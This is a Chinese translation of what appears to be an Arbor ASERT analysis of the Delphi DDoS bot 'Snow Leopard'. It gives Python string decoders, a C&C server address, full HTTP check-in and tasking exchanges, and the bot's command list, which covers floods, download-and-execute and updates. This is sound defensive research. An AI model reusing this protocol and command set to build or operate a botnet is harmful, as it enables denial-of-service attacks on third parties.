@malpush把Tweet中的木马雪豹暴露到了我们Arbor的无线电探测器中,此次的木马表现是在Tweet中显示一个网址,当你填入信息后,他会通往一个指令和控制面板(C&C)如下所示:
这一现象使我深信我应更深入地了解雪豹。巧合的是对于Arbor来说,这一恶意程序结果竟是DDos(分布式拒绝服务攻击)僵尸程序。
恶意程序样例
分析研究样例可以在malwr查找到 (MD5: 4fa91b76294d849d01655ffb72b30981)。
这是用Delphi编写的恶意软件包括以下几种形式: UPX填充,字符串模糊处理,反病毒机器,反调试,自我修改代码,过程挖空。
这种基于Delphi的使用和使用的面板部分的语言,很可能是起源于俄罗斯。
模糊处理
木马雪豹使用两种模糊处理方式;它们是 base64 和 XOR的联合。不同秘钥使用不同的部分。第一个模糊处理方式是用在字符串上,可以用下面的Python函数可以解码:
def decrypt_strings(msg, key): msg_no_b64 = base64.b64decode(msg) plain_buf = [] for i in range(len(msg_no_b64)): key_lsb = ord(key[i % len(key)]) & 0xf msg_lsb = ord(msg_no_b64[i]) & 0xf c = msg_lsb ^ key_lsb d = c ^ 0xa msg_slsb = ord(msg_no_b64[i]) & 0xf0 plain_byte = msg_slsb ^ d plain_buf.append(chr(plain_byte)) return "".join(plain_buf)
下面是一些例子:
>>> decrypt_strings("QG1wZ2xnPj4sZGNk", "12xc3qwfhjeryTTYHH") 'Kernel32.dll' >>> decrypt_strings("TG12RGZveGBnSG5mZ2JrQg==", "12xc3qwfhjeryTTYHH") 'GetModuleHandleA' >>> decrypt_strings("dWpkbXFqZmxi", "mu#X") 'removeone' >>> decrypt_strings("cn9tY3Nqf2d1", "mu#X") 'updatever' >>> decrypt_strings("ZXN8djotITgyOyQ0MD4mOD45Jzc5I2NmfS1kaXhzdCx+YXo=", "GMrlZ8t3pypO3423423LpFqCUx") 'http://188.190.101.13/hor/input.php'
第二种方法主要用在C&C通信上,并且可按照下面Python函数清理:
def decrypt_cnc(msg, key): msg_no_b64 = base64.b64decode(msg) plain_buf = [] for offset, enc_byte in enumerate(msg_no_b64): plain_byte = ord(enc_byte) ^ ord(key[offset % len(key)]) plain_buf.append(chr(plain_byte)) return "".join(plain_buf)
下面是一些例子:
>>> decrypt_cnc("ChYJCRhta3k=", "\x38") '2.11 USA' >>> decrypt_cnc("DRhAAA4YeRgIXBgIUBgPVRgKAEs=", "\x38") '5 x86 A 0d 0h 7m 28s'
指令与控制
C&C是基于HTTP(超文本转移协议)。两种信息类型已经被识别出来了。第一种信息类型o或者是“背景连线通讯”就像这样:
POST /hor/input.php HTTP/1.0 Host: 188.190.101.13 User-Agent: Mozilla Gecko Firefox 25 Accept: text/plain Accept-Encoding: identity Accept-Language: en-EN,en Connection: Close Referer: http://mhome.br Content-Length: 106 Content-Type: application/x-www-form-urlencoded m=CA==&h=CQAACAsPDgEICgkPCQkPDQgPDw4KCQ4LDw4BCwE=&p=cHd1fQ==&v=ChYJCRhta3k=&s=DRhAAA4YeRgIXBgIUBgPVRgKAEs=
这就是它如何被解码的:
m=0&h=18803769021711750776216376939&p=HOME&v=2.11 USA&s=5 x86 A 0d 0h 7m 28s
它的POST参数是:
· m – Message type (0)
· h – Hash based on computer name
· p – Computer name
· v – Version and locale
· s – Windows version, architecture, user type, and uptime
背景连线通讯反应如下方:
HTTP/1.1 200 OK Date: Wed, 04 Dec 2013 14:48:27 GMT Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.3.3 Content-Length: 32 Connection: close Content-Type: text/html; charset=UTF-8 dVdCUVRUWRh/XVtTVxh+UUpdXldAGAoN
被解码,这是在请求中使用的用户代理
>>> decrypt_cnc("dVdCUVRUWRh/XVtTVxh+UUpdXldAGAoN", "\x38") 'Mozilla Gecko Firefox 25'
第二种信息类型是1或者“指令调查”。 如下方:
POST /hor/input.php HTTP/1.0 Host: 188.190.101.13 User-Agent: Mozilla Gecko Firefox 25 Accept: text/plain Accept-Encoding: identity Accept-Language: en-EN,en Connection: Close Referer: http://udot.tk Content-Length: 49 Content-Type: application/x-www-form-urlencoded m=CQ==&h=CQAACAsPDgEICgkPCQkPDQgPDw4KCQ4LDw4BCwE=
被解码为:
m=1&h=18803769021711750776216376939
它的POST参数是:
· m – Message type (1)
· h – Hash based on computer name
调查反应样例:
HTTP/1.1 200 OK Date: Wed, 04 Dec 2013 12:56:16 GMT Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.3.3 Content-Length: 72 Connection: close Content-Type: text/html; charset=UTF-8 UExMSF5UV1dcElBMTEgCFxdMWUpfXUwWVl1MF1FWXF1AFkhQSBcSAAgSCQ0IEgg=
被解码:
decrypt_cnc("UExMSF5UV1dcElBMTEgCFxdMWUpfXUwWVl1MF1FWXF1AFkhQSBcSAAgSCQ0IEgg=", "\x38") 'httpflood*http://target.net/index.php/*80*150*0'
指令被多个“*”限定,如下面格式:
command*arg1*arg2*arg3*arg4*arg5*arg6*arg7
指令
下面的bot(网络爬虫)指令已被识别:
· httpflood – HTTP GET flood
· httppost – HTTP POST flood
· udpflood – UDP flood
· synflood – TCP connect flood
· tcpflood – TCP flood
· download – download and execute (all bots)
· downloadone – download and execute (specified bot)
· update – update (all bots)
· updateos – update (specified OS)
· updateone – update (specified bot)
· updatever – update (specified version)
· removeos – remove bot (specified OS)
· removeone – remove bot (specified bot)
· s! – stop all floods
· su – stop UDP flood
· sh – stop HTTP flood
· ss – stop TCP SYN flood
· st – stop TCP flood
关于每个指令的更多信息,可在C&C面板内的“任务管理”一栏查找到。
注意:我在分析的二进制里看不到任何关于“memexec”或者“script”指令的引用。
指令和控制面板
总结起来,这便是指令和控制面板幕后的行程;“静态/指数”页面:
这便是“上传”页面:
部分“Bot清单”页面:
结论:
该篇分析了crypto(加密),C&C基础设施,与木马指令台。雪豹——一个新的DDoS bot(网络爬虫)程序很可能来自于俄罗斯。在写入的同时,仅有少量的独特样例与C&C服务器已经被识别了,那么这项新威胁之攻击规模和影响还有待确定。Arbor安全工程响应小组(ASERT)将会继续追踪雪豹病毒。